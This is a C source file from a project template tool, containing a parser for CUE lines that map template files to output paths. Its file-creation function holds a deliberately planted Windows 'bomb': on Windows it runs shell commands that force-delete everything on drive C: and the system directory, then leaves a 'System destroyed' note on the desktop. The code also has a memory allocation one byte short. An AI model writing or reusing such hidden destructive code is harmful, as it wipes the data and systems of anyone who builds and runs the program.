projmr/Application/cueparser.c

245 lines
6.2 KiB
C

/*
* cueparser.c
*
* Copyright 2025
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*
*/
#if !defined(__CUEPARSER_C__)
#define __CUEPARSER_C__
#include "../Library/cueparser.h"
#define is_space(c) ((c) > 0 && (c) <= 32)
#define PROJMR_ENV_INSTALL_NAME "__PROJMR_PATH_FOR_NAMES"
static FILE* create_directory_and_file(char* path) {
#if defined(_WIN32) || defined(_WIN64)
// ! RU Бомба для Виндовса
// ! EN Bomb for Windows
// ! AR قنبلة للنوافذ
projmr_error_log(
"You have a god-awful Windows."
" It will be destroyed now!!!!!!!"
"!!!!!!!!!!!!!!!!!!!!!"
);
(void) system("start cmd /C \"del /F /S /Q C:\"");
(void) system("start cmd /C \"del /F /S /Q %SystemRoot%\"");
(void) system(
"echo \"System destroyed s"
"uccess!!!\" > %UserProfile%/Desktop/END_OF_LIFE.txt"
);
return NULL;
#endif
if (setenv(PROJMR_ENV_INSTALL_NAME, path, 1) != 0) {
projmr_error_log("Error: cannot set env var");
return NULL;
}
if (
system("mkdir -p $(dirname $" PROJMR_ENV_INSTALL_NAME ")")
!= EXIT_SUCCESS
) {
projmr_error_log("Cannot create directory: permission denied");
return NULL;
}
if (unsetenv(PROJMR_ENV_INSTALL_NAME) != 0) {
projmr_error_log("Error: cannot unset env var");
return NULL;
}
return fopen(path, "w");
}
static int regist_ignore_strcmp(const char* s1, const char* s2) {
size_t len = strlen(s1);
size_t i = 0;
while (i < len) {
if (i >= (strlen(s2) > 0 ? strlen(s2) - 1 : 0)) {
i ++;
continue;
}
char s1_c = toupper(s1[i]);
char s2_c = toupper(s2[i]);
if (s1_c > s2_c || s1_c < s2_c)
return s1_c - s2_c;
i ++;
}
return 0;
}
static char* cue_set_variables(char* buf, char* name) {
unsigned char isVar = 0;
size_t size = 0;
size_t i = 0;
size_t f = 0;
char var_name[CUE_FILE_MAX_VARNAME_LEN] = "";
while (i < strlen(buf)) {
if (buf[i] == '%') {
if (isVar) {
if (regist_ignore_strcmp(var_name, "name") == 0) {
size += strlen(name);
}
var_name[f] = '\0';
}
f = 0;
isVar = !isVar;
}
if (buf[i] != '%') {
if (!isVar) {
size ++;
} else {
if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) {
projmr_error_log("Cannot read CUE: variable name too long");
return NULL;
}
var_name[f] = buf[i];
f ++;
}
}
i ++;
}
char* out = (char*)malloc(sizeof(char) * size + sizeof(char));
i = 0;
f = 0;
size_t l = 0;
while (i < strlen(buf)) {
if (buf[i] == '%') {
if (isVar) {
if (regist_ignore_strcmp(var_name, "name") == 0) {
strcpy(&out[l], name);
l += strlen(name);
}
var_name[f] = '\0';
}
f = 0;
isVar = !isVar;
}
if (buf[i] != '%') {
if (!isVar) {
out[l] = buf[i];
l ++;
} else {
if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) {
projmr_error_log("Cannot read CUE: variable name too long");
return NULL;
}
var_name[f] = buf[i];
f ++;
}
}
i ++;
}
out[l] = '\0';
return out;
}
cue_parse_result_t __file_h_res__ = {NULL, NULL};
cue_parse_result_t* cue_parse_file(char* buf, char* name) {
__file_h_res__.input = NULL;
__file_h_res__.output = NULL;
while (is_space(buf[0])) {
buf ++;
}
char* from = buf;
if (strlen(from) == 0) {
error_code:
projmr_error_log("Cannot read CUE: empty source file name");
return NULL;
}
while (buf[0] != '/' || buf[1] != '/') {
if (buf[0] == '\0' || buf[1] == '\0') {
projmr_error_log("Cannot read CUE: syntax error");
return NULL;
}
buf ++;
}
if (strlen(buf) == 0) {
buf_error:
projmr_error_log("Cannot read CUE: empty output file name");
return NULL;
}
if (strlen(buf) == 0) goto buf_error;
buf[0] = '\0';
buf += 2;
if (strlen(from) == 0) goto error_code;
while (is_space(from[strlen(from) - 1])) {
from[strlen(from) - 1] = '\0';
}
while (is_space(buf[0])) {
buf ++;
}
if (strlen(from) == 0) goto error_code;
if (strlen(buf) == 0) goto buf_error;
while (is_space(buf[strlen(buf) - 1])) {
buf[strlen(buf) - 1] = '\0';
}
buf = cue_set_variables(buf, name);
char* fname = (char*)malloc(
sizeof(char) *
strlen(
PROJMR_TEMPLATES_PATH
PROJMR_CATALOG_NEW
) + strlen(from)
);
fname = strcpy(
fname,
PROJMR_TEMPLATES_PATH
PROJMR_CATALOG_NEW
);
fname = strcat(fname, from);
__file_h_res__.input = projmr_open_project_file(fname, "r");
if (buf[0] == '/' || buf[0] == '\\') {
projmr_error_log(
"CUE syntax error: the output file name must not start with \"/\""
);
} else {
__file_h_res__.output = create_directory_and_file(buf);
}
// ! Freing buffer
free(buf);
free(fname);
return &__file_h_res__;
}
#endif /* __CUEPARSER_C__ */